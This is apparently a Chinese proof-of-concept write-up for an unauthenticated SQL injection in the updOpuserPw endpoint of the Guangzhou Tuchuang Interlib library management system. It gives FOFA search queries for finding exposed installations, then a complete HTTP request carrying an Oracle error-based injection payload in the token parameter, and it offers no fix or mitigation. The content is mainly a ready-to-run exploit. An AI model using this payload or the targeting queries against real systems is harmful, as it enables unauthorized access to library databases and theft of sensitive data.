G2-2广州图创-图书馆集群管理系统-SQL

漏洞描述：

由于广州图创 图书馆集群管理系统 updOpuserPw 接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"

漏洞复现：

payload：

```
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*1111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:
运算符验证